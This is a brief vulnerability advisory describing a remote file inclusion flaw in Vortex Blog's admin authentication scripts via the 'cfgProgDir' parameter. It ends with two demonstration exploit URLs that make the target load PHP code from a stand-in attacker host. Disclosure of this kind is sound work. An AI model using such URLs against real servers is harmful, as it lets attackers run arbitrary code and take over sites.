Description:
A vulnerability was reported in Vortex Blog AKA vBlog. A remote user can include and execute arbitrary code on the target system.
The 'admin/auth/secure.php' and 'admin/auth/checklogin.php' scripts not properly validate user-supplied input in the 'cfgProgDir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
Some demonstration exploit URLs are provided:
http://[target]/[path]/admin/auth/secure.php?cfgProgDir=http://evilsite.com/shell?
http://[target]/[path]/admin/auth/checklogin.php?cfgProgDir=http://evilsite.com/shell?
